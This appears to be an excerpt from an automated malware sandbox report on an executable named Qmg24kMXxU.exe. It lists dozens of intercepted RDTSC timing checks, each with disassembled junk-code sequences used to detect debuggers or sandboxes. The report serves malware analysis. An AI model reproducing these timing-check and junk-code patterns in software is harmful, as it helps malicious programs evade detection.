Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3EE9F4 second address: 3EE9FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3EE9FD second address: 3EEA03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3EEA03 second address: 3EEA10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 40111E second address: 401122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 400FA1 second address: 400FA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 400FA5 second address: 400FAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 400FAF second address: 400FB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 400FB3 second address: 400FB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 423A2F second address: 423A33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 423A33 second address: 423A6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007F95D925B963h 0x0000000e jnl 00007F95D925B956h 0x00000014 popad 0x00000015 push ecx 0x00000016 jp 00007F95D925B956h 0x0000001c jns 00007F95D925B956h 0x00000022 pop ecx 0x00000023 jo 00007F95D925B95Ch 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 422930 second address: 422941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F95D91784B2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 422941 second address: 422947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 422947 second address: 422969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F95D91784BEh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 422969 second address: 42298A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F95D925B958h 0x00000008 push edx 0x00000009 jmp 00007F95D925B964h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 422BD2 second address: 422C07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95D91784B5h 0x00000009 popad 0x0000000a jmp 00007F95D91784AEh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jp 00007F95D91784A6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 422C07 second address: 422C0D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 422D79 second address: 422D80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 422D80 second address: 422DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95D925B969h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 422DA7 second address: 422DAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 422DAD second address: 422DB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4231E1 second address: 4231EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4231EB second address: 423207 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F95D925B95Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnl 00007F95D925B95Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 42378E second address: 423792 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 425439 second address: 42543D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 42543D second address: 42545C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F95D91784B3h 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 426A3C second address: 426A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 426A41 second address: 426A46 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 426A46 second address: 426A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 426A4C second address: 426A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4298F3 second address: 42992C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F95D925B95Ch 0x0000000c popad 0x0000000d push eax 0x0000000e jmp 00007F95D925B95Ah 0x00000013 nop 0x00000014 sbb edx, 6ACB878Fh 0x0000001a push dword ptr [ebp+122D1DA0h] 0x00000020 movzx edx, bx 0x00000023 push C3B228A6h 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 42992C second address: 429930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 429930 second address: 429936 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 42B208 second address: 42B20F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 42B20F second address: 42B215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 42B215 second address: 42B254 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 jno 00007F95D91784A6h 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007F95D91784B7h 0x00000019 jmp 00007F95D91784ADh 0x0000001e push edx 0x0000001f pop edx 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push edi 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 42CDE0 second address: 42CE1A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F95D925B95Ch 0x00000008 jnl 00007F95D925B956h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F95D925B962h 0x00000018 jmp 00007F95D925B95Dh 0x0000001d jnl 00007F95D925B956h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 42CE1A second address: 42CE29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 42CE29 second address: 42CE30 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 42CE30 second address: 42CE38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AE0328 second address: 4AE03A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F95D925B967h 0x00000009 add cl, FFFFFFCEh 0x0000000c jmp 00007F95D925B969h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F95D925B960h 0x00000018 and cl, 00000048h 0x0000001b jmp 00007F95D925B95Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 push eax 0x00000025 jmp 00007F95D925B969h 0x0000002a xchg eax, ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AE03A4 second address: 4AE03A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AE03A8 second address: 4AE03BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B95Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AE03BB second address: 4AE0416 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushad 0x0000000d push edx 0x0000000e pop esi 0x0000000f popad 0x00000010 mov ebx, 0987C968h 0x00000015 popad 0x00000016 mov edx, dword ptr [ebp+0Ch] 0x00000019 jmp 00007F95D91784B7h 0x0000001e mov ecx, dword ptr [ebp+08h] 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F95D91784B0h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AE0416 second address: 4AE041A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AE041A second address: 4AE0420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B006AC second address: 4B006D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F95D925B966h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B006D0 second address: 4B006D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B006D6 second address: 4B006DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B006DB second address: 4B00718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F95D91784AAh 0x0000000a add eax, 31CD6B78h 0x00000010 jmp 00007F95D91784ABh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c call 00007F95D91784B4h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B00718 second address: 4B00780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007F95D925B961h 0x0000000b sub si, 06C6h 0x00000010 jmp 00007F95D925B961h 0x00000015 popfd 0x00000016 popad 0x00000017 xchg eax, ecx 0x00000018 jmp 00007F95D925B95Eh 0x0000001d push eax 0x0000001e jmp 00007F95D925B95Bh 0x00000023 xchg eax, ecx 0x00000024 jmp 00007F95D925B966h 0x00000029 xchg eax, esi 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B00780 second address: 4B00784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B00784 second address: 4B007A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B969h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B007A1 second address: 4B007FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movsx ebx, si 0x0000000e pushfd 0x0000000f jmp 00007F95D91784B8h 0x00000014 jmp 00007F95D91784B5h 0x00000019 popfd 0x0000001a popad 0x0000001b xchg eax, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F95D91784ADh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B007FB second address: 4B00800 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B0088B second address: 4B008E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F95D91784B7h 0x00000008 mov ax, F23Fh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f cmp dword ptr [ebp-04h], 00000000h 0x00000013 pushad 0x00000014 mov ch, EAh 0x00000016 pushfd 0x00000017 jmp 00007F95D91784ADh 0x0000001c sbb ch, FFFFFFE6h 0x0000001f jmp 00007F95D91784B1h 0x00000024 popfd 0x00000025 popad 0x00000026 mov esi, eax 0x00000028 pushad 0x00000029 movzx ecx, bx 0x0000002c push eax 0x0000002d push edx 0x0000002e mov edx, 3F961D7Ah 0x00000033 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4B008E4 second address: 4B0090C instructions: 0x00000000 rdtsc 0x00000002 mov bh, 97h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F95D925B994h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F95D925B969h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0191 second address: 4AF0197 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0197 second address: 4AF01B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B966h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF01B9 second address: 4AF01BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF01BD second address: 4AF0296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov bx, cx 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c jmp 00007F95D925B960h 0x00000011 sub esp, 2Ch 0x00000014 pushad 0x00000015 jmp 00007F95D925B95Eh 0x0000001a call 00007F95D925B962h 0x0000001f pushfd 0x00000020 jmp 00007F95D925B962h 0x00000025 adc esi, 4653B808h 0x0000002b jmp 00007F95D925B95Bh 0x00000030 popfd 0x00000031 pop eax 0x00000032 popad 0x00000033 push ebx 0x00000034 pushad 0x00000035 jmp 00007F95D925B962h 0x0000003a mov ecx, 6BA7DE81h 0x0000003f popad 0x00000040 mov dword ptr [esp], ebx 0x00000043 pushad 0x00000044 mov ebx, eax 0x00000046 pushfd 0x00000047 jmp 00007F95D925B966h 0x0000004c sub esi, 6604ACC8h 0x00000052 jmp 00007F95D925B95Bh 0x00000057 popfd 0x00000058 popad 0x00000059 xchg eax, edi 0x0000005a jmp 00007F95D925B966h 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007F95D925B95Eh 0x00000067 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0296 second address: 4AF029C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF029C second address: 4AF02A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF041C second address: 4AF0420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0420 second address: 4AF0424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0424 second address: 4AF042A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF042A second address: 4AF044B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 1489B3E1h 0x00000008 jmp 00007F95D925B95Eh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov cl, 91h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF044B second address: 4AF0450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0499 second address: 4AF04AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95D925B961h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF04AE second address: 4AF04C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F964AFE647Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF04C2 second address: 4AF04D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B962h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF04D8 second address: 4AF04DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF04DE second address: 4AF04F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F95D925BA21h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF04F2 second address: 4AF04F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF04F6 second address: 4AF04FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF04FC second address: 4AF0543 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 39BEh 0x00000007 mov ebx, 683633CAh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f cmp dword ptr [ebp-14h], edi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov ah, D1h 0x00000017 pushfd 0x00000018 jmp 00007F95D91784AFh 0x0000001d add cx, 6F1Eh 0x00000022 jmp 00007F95D91784B9h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0543 second address: 4AF0564 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B961h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F964B0C9899h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0564 second address: 4AF0568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF0568 second address: 4AF057B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B95Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF057B second address: 4AF05B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F95D91784AFh 0x00000009 sub esi, 7EB5068Eh 0x0000000f jmp 00007F95D91784B9h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 4AF05B0 second address: 4AF061C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebx, dword ptr [ebp+08h] 0x0000000a jmp 00007F95D925B95Ch 0x0000000f lea eax, dword ptr [ebp-2Ch] 0x00000012 jmp 00007F95D925B960h 0x00000017 xchg eax, esi 0x00000018 pushad 0x00000019 mov ax, 204Dh 0x0000001d movzx ecx, dx 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 mov ebx, esi 0x00000025 pushfd 0x00000026 jmp 00007F95D925B95Eh 0x0000002b xor ch, FFFFFF98h 0x0000002e jmp 00007F95D925B95Bh 0x00000033 popfd 0x00000034 popad 0x00000035 xchg eax, esi 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F95D925B962h 0x0000003e rdtsc
